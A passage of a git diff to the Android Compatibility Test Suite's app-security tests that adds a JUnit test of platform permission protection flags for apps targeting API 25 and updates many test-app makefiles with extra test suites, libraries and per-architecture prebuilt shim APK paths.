+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.permission.policy">
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.permission.policy" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml
new file mode 100755
index 0000000..57d902c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/res/values/strings.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+ <string name="Permissions">Permission policy 25</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
new file mode 100644
index 0000000..2db1f41
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/src/com/android/cts/permission/policy/PermissionPolicyTest25.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permission.policy;
+
+import static junit.framework.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.support.test.InstrumentationRegistry;
+import org.junit.Test;
+
+/**
+ * Tests for the platform permission policy around apps targeting API 25
+ */
+public class PermissionPolicyTest25 {
+ private static final String PLATFORM_PACKAGE_NAME = "android";
+
+ @Test
+ public void testNoProtectionFlagsAddedToNonSignatureProtectionPermissions() throws Exception {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final PackageInfo platformPackage = context.getPackageManager()
+ .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
+ String errorMessage = null;
+ for (PermissionInfo declaredPermission : platformPackage.permissions) {
+ PermissionInfo permissionInfo = context.getPackageManager()
+ .getPermissionInfo(declaredPermission.name, 0);
+ final int protectionLevel = permissionInfo.protectionLevel
+ & (PermissionInfo.PROTECTION_NORMAL
+ | PermissionInfo.PROTECTION_DANGEROUS
+ | PermissionInfo.PROTECTION_SIGNATURE);
+ final int protectionFlags = permissionInfo.protectionLevel & ~protectionLevel;
+ if (protectionLevel == PermissionInfo.PROTECTION_NORMAL && protectionFlags != 0) {
+ errorMessage += "\nCannot add protection flags: "
+ + protectionFlagsToString(permissionInfo.protectionLevel)
+ + " to a normal protection permission: " + permissionInfo.name;
+ }
+ if (protectionLevel == PermissionInfo.PROTECTION_DANGEROUS && protectionFlags != 0) {
+ errorMessage += "\nCannot add protection flags: "
+ + protectionFlagsToString(permissionInfo.protectionLevel)
+ + " to a dangerous protection permission: " + permissionInfo.name;
+ }
+ }
+ if (errorMessage != null) {
+ fail(errorMessage);
+ }
+ }
+
+ private static String protectionFlagsToString(int protectionLevel) {
+ String flagsToString = "";
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "runtimeOnly" : "|runtimeOnly";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTANT) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "ephemeral" : "|ephemeral";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_INSTANT;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_APPOP) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "appop" : "|appop";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_APPOP;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_DEVELOPMENT) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "development" : "|development";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_DEVELOPMENT;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTALLER) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "installer" : "|installer";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_INSTALLER;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRE23) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "pre23" : "|pre23";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PRE23;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PRIVILEGED) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "privileged" : "|privileged";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PRIVILEGED;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_PREINSTALLED) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "preinstalled" : "|preinstalled";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_PREINSTALLED;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_SYSTEM) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "system" : "|system";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_SYSTEM;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_SETUP) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "setup" : "|setup";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_SETUP;
+ }
+ if ((protectionLevel & PermissionInfo.PROTECTION_FLAG_VERIFIER) != 0) {
+ flagsToString += flagsToString.isEmpty() ? "verifier" : "|verifier";
+ protectionLevel &= ~PermissionInfo.PROTECTION_FLAG_VERIFIER;
+ }
+ protectionLevel &= ~(PermissionInfo.PROTECTION_NORMAL
+ | PermissionInfo.PROTECTION_DANGEROUS
+ | PermissionInfo.PROTECTION_SIGNATURE);
+ if (protectionLevel != 0) {
+ flagsToString += flagsToString.isEmpty() ? Integer.toHexString(protectionLevel)
+ : "|" + Integer.toHexString(protectionLevel);
+ }
+ return flagsToString;
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
index bb171e2..e86fae9 100644
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SDK_VERSION := current
LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_DEX_PREOPT := false
LOCAL_PACKAGE_NAME := CtsPrivilegedUpdateTests
@@ -46,9 +46,11 @@
LOCAL_BUILT_MODULE_STEM := package.apk
# Make sure the build system doesn't try to resign the APK
LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SRC_FILES := CtsShimPrivUpgrade.apk
+my_archs := arm x86
+my_src_arch := $(call get-prebuilt-src-arch, $(my_archs))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_src_arch)/CtsShimPrivUpgrade.apk
include $(BUILD_PREBUILT)
@@ -63,8 +65,10 @@
LOCAL_BUILT_MODULE_STEM := package.apk
# Make sure the build system doesn't try to resign the APK
LOCAL_CERTIFICATE := PRESIGNED
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SRC_FILES := CtsShimPrivUpgradeWrongSHA.apk
+my_archs := arm x86
+my_src_arch := $(call get-prebuilt-src-arch, $(my_archs))
+LOCAL_REPLACE_PREBUILT_APK_INSTALLED := $(LOCAL_PATH)/apk/$(my_src_arch)/CtsShimPrivUpgradeWrongSHA.apk
include $(BUILD_PREBUILT)
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk
deleted file mode 100644
index a277907..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgrade.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk
deleted file mode 100644
index a40f791..0000000
--- a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/CtsShimPrivUpgradeWrongSHA.apk
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
new file mode 100644
index 0000000..23df503
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
new file mode 100644
index 0000000..11f8674
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/arm/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
new file mode 100644
index 0000000..fc9f02e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgrade.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
new file mode 100644
index 0000000..bf49682
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PrivilegedUpdateApp/apk/x86/CtsShimPrivUpgradeWrongSHA.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
index adf6a14..4f828ad 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.mk
@@ -18,7 +18,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsReadExternalStorageApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
index 548e397..22464bd 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSharedUidInstall
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSharedUidInstallDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
index 0f6cd69..a73d0fc 100644
--- a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSharedUidInstallDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSharedUidInstall
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
index a77a172..7180a10 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSimpleAppInstall
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSimpleAppInstallDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
index e478afb..bcd8a4e 100644
--- a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSimpleAppInstallDiffCert
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with a different cert than CtsSimpleAppInstall
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index e12feec..9341949 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -28,7 +28,7 @@
LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
@@ -48,7 +48,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -56,7 +56,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
@@ -75,7 +75,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -83,7 +83,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
@@ -101,7 +101,7 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src)
@@ -109,7 +109,7 @@
LOCAL_PACKAGE_SPLITS := v7
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
index aea49c6..a248b71 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
@@ -29,7 +29,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
featureOf := CtsSplitApp
featureOfApk := $(call intermediates-dir-for,APPS,$(featureOf))/package.apk
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
index b1e2002..fbc7143 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/jni/Android.mk
@@ -24,6 +24,6 @@
LOCAL_LDLIBS += -llog
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_SHARED_LIBRARY)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
index 51b91a4..bad39fb 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/arm64-v8a/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
index dc1d703..9951098 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi-v7a/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
index 28c2190..f6efcd6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/armeabi/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
index d1565e6..aa2de06 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
index 383030c..cd4eafc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/mips64/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
index e9e71ee..2d7d008 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
index 87f0e4a..291a3c6 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/libs/x86_64/Android.mk
@@ -23,7 +23,7 @@
LOCAL_JAVA_RESOURCE_DIRS := raw
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
index 6367912..f3d7d35 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppA/Android.mk
@@ -18,13 +18,13 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
LOCAL_PACKAGE_NAME := CtsStorageAppA
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
index 2177da1..5f85459 100644
--- a/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageAppB/Android.mk
@@ -18,13 +18,13 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, ../StorageApp/src/)
LOCAL_PACKAGE_NAME := CtsStorageAppB
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
index abee640..b5c30fb 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/Android.mk
@@ -18,14 +18,14 @@
LOCAL_MODULE_TAGS := tests
LOCAL_SDK_VERSION := test_current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ub-uiautomator legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
$(call all-java-files-under, ../StorageApp/src)
LOCAL_PACKAGE_NAME := CtsStorageStatsApp
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_DEX_PREOPT := false
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
index bfedb36..fea0878 100644
--- a/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/TargetInstrumentationApp/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsTargetInstrumentationApp
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# sign this app with different cert than CtsInstrumentationAppDiffCert
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
index f8db5aa..2b6c2b0 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.mk
@@ -23,8 +23,9 @@
android-support-test \
compatibility-device-util \
ctstestrunner \
- ub-uiautomator \
- legacy-android-test
+ ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java \
@@ -34,7 +35,7 @@
LOCAL_PACKAGE_NAME := CtsUsePermissionApp22
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
index 9e6ea3e..305359c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.mk
